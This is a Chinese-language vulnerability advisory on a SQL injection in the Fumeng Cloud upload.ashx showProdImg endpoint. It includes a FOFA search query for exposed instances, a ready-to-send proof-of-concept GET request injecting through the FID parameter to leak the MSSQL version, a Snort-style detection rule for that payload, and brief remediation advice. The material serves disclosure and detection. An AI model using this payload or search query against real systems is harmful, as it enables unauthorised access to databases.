孚盟云 upload.ashx showProdImg处存在SQL注入漏洞¶
孚盟云 upload.ashx showProdImg处存在SQL注入漏洞,攻击者可进行sql注入攻击获取数据库信息或者权限。
影响版本¶
孚盟软件-孚盟云
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
FOFA:app="孚盟软件-孚盟云"
POC/EXP:
GET /Ajax/upload.ashx?action=showProdImg&FID=1')+AND+1=@@VERSION-- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive

sonrt规则:
alert http any any -> $HOME_NET any (
msg:"Fumeng Cloud - MSSQL Version Disclosure via showProdImg";
flow:to_server,established;
http.method; content:"GET";
http.uri; content:"/Ajax/upload.ashx";
http.uri; content:"action=showProdImg";
http.uri; pcre:"/FID=[^&]*'\)%2BAND%2B1=@@VERSION--/i";
metadata:
cve none,
service http,
affected_product "孚盟云",
vulnerability_type "MSSQL Version Disclosure",
attack_target "database_server",
severity "high";
classtype:sql-injection;
sid:1000494;
rev:1;
priority:1;
)
漏洞修复¶
关闭互联网暴露面或接口设置访问权限
升级至安全版本。